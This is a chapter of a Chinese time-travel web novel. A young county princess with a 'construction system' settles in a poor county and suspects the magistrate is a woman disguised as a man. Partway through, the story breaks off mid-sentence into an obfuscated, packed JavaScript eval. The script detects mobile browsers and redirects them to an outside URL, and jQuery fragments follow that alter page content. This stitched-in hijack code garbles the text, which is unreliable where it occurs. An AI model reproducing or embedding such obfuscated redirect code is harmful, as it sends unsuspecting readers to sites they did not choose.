2. 第 2 章

作品:《谁把龙袍披朕身上了(基建)

    林肆能感觉得到皇室非常想要甩掉她这个扫把星,她甚至还没完全适应穿到古代的事实,大宸皇帝就迫不及待的要送她走。


    从下旨到出行那天,这位皇帝舅舅一次都没有出现过。


    林肆带着大量的钱以及行李被北衙禁军用水路加陆路这样最快的路线护送到了目的地,她觉得自己仿佛是一只带了疾跑的乌龟。


    黎县的县主府是座废弃宅院,工部派了人前来重新修缮过,便是林肆的县主府了。


    这一路上水路加上陆路,林肆都没有表现出特别的情绪,她需得维持原主沉默寡言的人设,因此做的最多的事情就是看向窗外,一副黯然神伤的样子。


    到达黎县,她脑子里的基建系统被点亮的时候,林肆觉得自己不光要红眼,她甚至忍不住掐了自己的腰。


    冷静,林肆告诫自己,北衙禁军还未走,千万不能露出马脚,要是发现她有异常,会直接被当做邪祟烧了。


    真没想到有一天红眼掐腰文学能发生在自己身上。


    她掐她自己。


    马车之外,黎县县令梁年,穿着绿色的圆领大袖官服,一大早就等在县主府门前,以表重视。


    林肆悄悄掀开马车的一角,想看看这个黎县县令是个什么样的人,对梁年的第一印象便是。


    好生秀气的一张脸。


    北衙禁军将林肆以及林肆的好几辆牛车以及马车装着的行李交接给了林肆,又按单子在林肆面前清点一二,甚至没说在黎县休息一番,和林肆行了个礼,转头就走。


    林肆盯着禁军驾驶着马车牛车飞快的出黎县,心里的石头总算落地。


    感谢大宸马资源的匮乏,就算在安京,也不是什么官员都能坐上马车的,大部分人还是乘坐的牛车。


    安顿好以后,她也要搞一辆牛车牛,林肆想。


    梁年见禁军走了,转过头来对着林肆行了个礼,“下官参见安平县主。”


    林肆沉默的点了个头,她现在十岁,个子小,虽因赶路穿的素,一身印金白罗褥,梅花纹半壁,花草纹齐腰百褶裙,鹅黄色绦带,瞧着也是贵气十足,再加上她这幅冷淡的神情,做足了一个从安京来幽怨贵女做派。


    梁年走在前面,领着林肆等人进去,“这便是县主府,县主瞧瞧可还有什么需要的。”


    林肆大概看了几眼,房子看得出来是重新修缮过的,面积在黎县来说也过得去,只不过比起安京的公主府来说就差的太远了,还没有公主府的一半大。


    比起县主府,她更对面前这位梁县令感兴趣。


    这位梁县令不光长得秀气,声音也不似寻常男子那般粗狂,可真是稀奇,林肆心中突然萌生出一个突兀的想法。


    不管梁年和林肆说什么,林肆始终一脸郁郁寡欢,看起来倒像真是一副过来以后生无可恋的样子。


    梁年寒暄完,自觉离去,不惹这位县主不快。


    梁年一走,跟着林肆的家奴们自觉布置宅院,南乔和南双力气大,便和两个家丁一起卸东西。


    卸完东西,林肆没让南乔和南双跟着布置,而是对她们二人说。


    “你们二人出去转转,将黎县熟悉一下,顺便打听打听这位梁县令。”


    两人应了,直直的就出门去。


    两个家丁将从公主府运过来的架子床辛苦抬进林肆的房间,春意正拿着柔软的丝绵衾,往林肆的床上铺。


    林肆坐在凳子上,基建系统已被点亮,领土显示黎县,但声望显示0.1,人心0.05,林肆估计都是因为这十来个跟过来的家奴。


    林肆只见旁边配着一行小字,声望和人心的计算方式十分苛刻,1是一个不低的数值。


    1确实是一个不低的数值,因为她连1都没有,林肆哭笑不得。


    林肆看着那些个图纸,书籍,之类的东西需要用声望兑换,但是实物就需要用人心要兑换。


    比如让她看红眼的土豆和红薯,人心兑换点数111。


    林肆往下拉,看着人心兑换点数10000的大型火炮陷入沉思。


    等到春意铺完床,南乔和南双在黎县绕了接近十圈,晚饭正开饭。


    两姐妹回来同林肆回话:“百姓都说梁县令是个好官。”


    “是的是的,都说梁县令清正廉洁。”


    “梁县令自出生就没了阿父,母亲将他抚养长大。”


    “还说梁县令就是有一点不好,就是不愿娶妻,也不知为何。”


    林肆微微点头,放两姐妹去吃饭。


    春意与食医王阿婆端进来一碗蒸的稻米饭,和几样简单的菜品,汤骨头,煎鹌子、抹肉笋签、太平毕罗。


    “今日王食医准备的匆忙,还望县主体谅。”春意将饭菜摆在桌子上。


    春意见林肆的食欲还不错,心中松了一口气。


    她就怕县主来到了黎县,瞧见这穷苦的地方,一时又想不开,又不吃饭了,还好还好,县主是真的想通了。


    王阿婆也松了口气,“这黎县虽不繁华,但这些乡土食材倒是新鲜干净,只要日日换些花样,吃的不比在安京差。”


    林肆微微点头,这位王阿婆做饭很好吃,菜品虽简单,她也吃的津津有味。


    县主府被简单的布置好,林肆让大家都去休息,值夜的家丁两个人轮换。


    舟车劳顿的赶路,林肆的身体是疲惫的,但她的心早就恨不得飞到黎县来。


    洗漱一番以后,林肆直接将春意支到外间的塌上睡,不用守在她的床前。


    林肆在现代独居惯了,不太习惯床底下有个人守着,感觉半夜醒了是会被吓一跳的程度。


    但往床上刚一躺,她的眼睛瞪的比铜铃还大。


    算了别管了,玩会智能手机。


    林肆从第一页开始慢慢的翻,看到了科学配比鸡饲料和钓鱼打窝料。


    林肆:考虑的还怪全面的,解决了如果钓鱼佬穿越无法科学打窝的困境。


    《母猪的产后护理》《如何正确阉公猪》《蛋鸡饲养指南》《奶牛饲养指南》《蔬菜心理学》一应俱全。


    林肆的嘴角抽动了一下,继续往书籍类下面翻去,再看到许多的专业书籍时才松了一口气。


    就这样在脑子里翻着翻着,林肆沉沉睡去。


    -


    今日梁年起的比以前更早一些,贴身婢女摇娘熟练的将床头的几卷麻布拿起,为梁年更衣。


    麻布一圈一圈,缠绕在梁年的胸口。


    麻布缠绕好,穿上官袍,将青丝束起,再将眉毛画粗,增添英气。


    谁也想不到,黎县县令竟是位女扮男装的女郎。


    梁年起身,简单吃过朝食以后,她要去县衙处理公务,黎县是下县中的下县,没有县丞,所有杂事都要一一过她的手,想起昨日的那位安平县主,看起来似乎是个安静的性子,想来在税务方面也不会对她太过为难。


    只是刚刚没了母亲,又因为这样的理由被送到这穷苦之地,也是个可怜的孩子。


    梁年吃完朝食,天都还未亮,就听外头的家丁来报,安平县主来了。


    梁年不知道林肆怎么会起来的这么早,只能将人请去偏厅会见,她今日本也是要去见林肆的。


    林肆满脸困倦,她是真的困,但无奈梁年的时间排的很紧凑,除了早上和晚上,都在县衙处理公务。


    林肆又不想将事情拖到晚上,所以选择一大早便起来,她连早饭都还没吃呢,王食医说今日朝食吃热乎乎的汤饼。


    想到早饭,林肆走路都更有几分干劲了。


    春意倒是一点都不困,只瞪着眼睛,心疼道:“还是需得备一辆牛车或者驴车,否则县主出行如何方便。”


    南乔面无表情的跟在林肆身侧,她的大脑此刻只有两个字。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374207|168267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    好饿。


    进了县令府,林肆示意春意递给梁年婢女一匹檀色的罗布,算是见面礼。


    随后礼貌道:“此番前来拜见,是有事与梁县令相商。”说完便转身就坐。


    梁年微微摇头,摇娘因此并未去接。“县主尽管说,陛下当初有口谕,黎县的税收,县主也是能管的,还有县主在黎县的良田之事,也是要与县主商议的。”


    林肆摇摇头:“不是税收,也不是良田,是我想在黎县郊田处修建一处庄园。”


    梁年有些意外,她以为林肆是要来看税收和良田。


    梁年犹豫道:“先前修缮县主府已是徭役,耽误了农作,可否等秋收之后再修建。”


    “不是徭役,我会给百姓工钱,一日十五文,每户只一个人最多两人,剩下的人继续农作,如此也不会耽误秋收,至于工期,就由梁县令负责,还望梁县令告知百姓。”林肆正色道。


    梁年这下惊了,她还是一次见到皇亲国戚让百姓修个东西还倒给钱,这位县主,是个怪人。


    梁年不知道林肆修建庄园是要做什么,她想,大概是小娘子觉得黎县又穷又无聊,在庄园里种上漂亮的鲜花,当成花园之类。


    梁年提醒:“黎县的土质不好,县主若是想种些鲜花观赏,只怕不能如愿。”


    “多谢梁县令好心,我自有打算。”林肆不卑不亢地说。


    既然是会给工钱,工钱给的还不算低,还不耽误秋收,梁年没有理由反对。


    黎县农作条件差,在收成好的情况下,交了赋税勉强能吃饱,若是一日十五文,也算是不错的收入。


    林肆看了眼春意手里抱着的布,又问:“梁县令为何不要这罗布。”


    梁年在心中斟酌,林肆从安京来,怎会不知道檀色多为女郎所穿的颜色,“多谢县主好意,这布的颜色正好能给家母做衣裳。”


    谁知,林肆摇了摇头,又对着梁年上下打量了一番,“我是特意挑给梁县令的。”


    梁年的表情依旧没变,心跳却快了几分。


    林肆送布纯属多此一举,她是在试探自己,昨日的样子莫非是装的?


    “多谢县主好意。”梁年最终恭顺道。


    梁年收了东西,林肆又拿出一张纸,递给梁年。


    “这是庄园的图纸,劳烦梁县令了,但凡参与修建庄园的衙役,我都会给工钱。”


    梁年收下纸,“还有一事,县主在黎县的良田。”


    “知道了,良田的事我也自由安排。”


    林肆说完,心里惦念着热汤饼,急匆匆的走了


    离了县令府老远,春意才问,“县主怎么送梁县令檀色的罗布呀,檀色罗布是女郎爱穿的,郎君都喜欢鸦青,月白,这样的颜色。”


    南乔则是一脸事不关己,她才不懂什么檀色白色的,她只觉得自己出来走了一圈更饿了,待会的朝食,吃两碗吧。


    林肆勾了勾唇角,“当然是因为,梁县令是个穿檀色也能好看的,郎君了。”


    没想到清廉正直的梁县令,极有可能是个女人。


    若问为什么,大概是梁年看她的眼神里带着同情和怜悯。


    林肆也说不清楚,或许这就是直觉?毕竟她从小到大的直觉都很准。


    梁年女扮男装参加科举,还做了县令,若是东窗事发,她和她阿娘会死的很惨。


    这个把柄太大了,林肆不需要威胁,不需要拉拢,不管她在黎县干什么,只要不危害百姓,梁年都会配合她隐瞒。


    林肆突然觉得自己运气不错。


    春意不知道林肆在想什么,只说:“修个庄园也好,到时候种些鲜花,县主没事也能去逛一逛,赏赏花。”


    南乔在前面带路,林肆打了个哈欠,“庄园不是用来养花的。”


    春意不懂了,“那是用来做什么的,总不是用来养人的吧。”